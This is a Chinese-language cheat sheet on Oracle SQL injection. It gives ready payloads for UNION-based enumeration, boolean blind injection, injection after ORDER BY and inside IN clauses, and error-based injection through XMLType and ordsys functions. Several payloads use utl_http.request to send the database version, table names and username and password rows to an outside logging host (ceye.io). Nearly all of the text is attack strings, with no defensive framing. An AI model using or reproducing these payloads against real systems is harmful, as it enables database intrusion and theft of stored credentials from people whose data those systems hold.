一、Union联合查询
order by 定字段
and 1=2 union select null,null..... from dual 然后一个一个去判断字段类型,方法如下
and 1=2 union select 'null',null...... from dual 返回正常,说明第一个字段是字符型,反之为数字型
第一个字段是字符型,判断第二个字段类型:
and 1=2 union select 'null','null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
第一个字段是数字型,判断第二个字段类型:
and 1=2 union select null,'null'...... from dual 返回正常,说明第二个字段是字符型,反之为数字型
判断第n个字段的类型,依次类推即可
确定回显位,假设当前共2个字段,全是数字型,判断方式如下:
and 1=2 union select 1,2 from dual
假设回显位是2,爆当前数据库中的第一个表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1) from dual
爆当前数据库中的第二个表:
and 1=2 union select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual
以此类推去爆第n个表
爆某表中的第一个字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)') from dual
爆某表中的第二个字段:
and 1=2 union select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')) from dual
爆其它字段以此类推
爆某表中的第一行数据:
and 1=2 union select 1,字段1||字段2...||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中,concat函数只能连接两个字符串
通过字段名找到对应表:
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE ‘%PASS%’;
查询第N行:
SELECT username FROM (SELECT ROWNUM r, username FROM all_users ORDER BY username) WHERE r=9; — 查询第9行(从1开始数)
当前用户:
SELECT user FROM dual;
列出所有用户:
SELECT username FROM all_users ORDER BY username;
列出数据库
SELECT DISTINCT owner FROM all_tables;
列出表名:
SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
列出字段名:
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’;
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’ and owner = ‘foo’;
定位DB文件:
SELECT name FROM V$DATAFILE;
实例:
一、UNION联合查询型注入
1、判断注入点类型
注入点类型为单引号字符型
2、order by定字段
3、确定每个字段的类型
oracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。
第一个字段为数字型
第二个字段为字符型
4、确定回显位
5、爆表
用户第一个表
或者
其它表使用相同方法即可爆出
6、爆字段
这里以我爆出的用户帐号表为例进行爆字段
爆第二个字段,方法和爆第二个表一样,加个删选条件就行了
其它的类似
7、爆值
oracle的字符连接用||符号,或者用concat,但是concat只能连接连个字符串(可以嵌套实现连接多个字符串),我这里用||符号连接输出的字符串。
二、布尔型盲注
(select length(table_name) from user_tables where rownum=1)>5
(select ascii(substr(table_name,1,1)) from user_tables where rownum=1)>100
(select length(column_name) from user_tab_columns where table_name=xxx and rownum=1)
(select ascii(substr(column_name,1,1)) from user_tab_columns where rownum=1 and table_name=xxx)>10
三、Order by后注入
判断很简单,字段个数超出就会报错,随便给个10000就OK了
也可以参考数字型的注入方式:利用算数表达式:1/0
报错
利用decode和ordsys.ord_dicom.getmappingxpath()
decode(1,1,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#false
decode(1,2,ordsys.ord_dicom.getmappingxpath(select user from dual),1)#true
带外注入
utl_http.request('http://ceye.io/')
四、In查询后注入
*表示注入点
select * from user where DEPARTMENT in ('HR*','ADMIN');
自然想到使用使用字符串拼接:||
'||case when ascii(substr(SYS_CONTEXT('USERENV','CURRENT_USER'),1,1))>0 then '' else 'carrypan' end||'
实际测试会出现以下问题:
服务端获取参数值后会以逗号作为分隔符,而substr等语句就会因为单引号未正常闭合导致语句执行出错,就无法进行进一步判断了,经测试,可以采取以下方法:
报错注入
'||upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) ||'
带外请求
'||utl_http.request((select user from dual)||'.ceyey.io') ||'
注版本:
utl_http.request('http://ceye.io/'||(select banner from sys.v_$version where rownum=1))
判断包含密码字段的数据表的个数
utl_http.request('http://ceye.io/'||(select to_char(count(*)) from user_tab_columns where column_name like '%25PASSWORD%25'))
注包含密码字段的数据表
utl_http.request('http://ceye.io/'||(select table_name from user_tab_columns where column_name like '%25PASSWORD%25'))
如果多个,可以使用rownum判断
注数据表中字段
utl_http.request('http://ceye.io/'||(select column_name from user_tab_columns where table_name='USERS') where limit=§1§)
批量出数据
utl_http.request('http://ceye.io/'||(Select data from (selEct rownum as limit,(rownum||'_'||USER_NAME||'_'||PASSWORD) as data from USERS)where limit = §1§))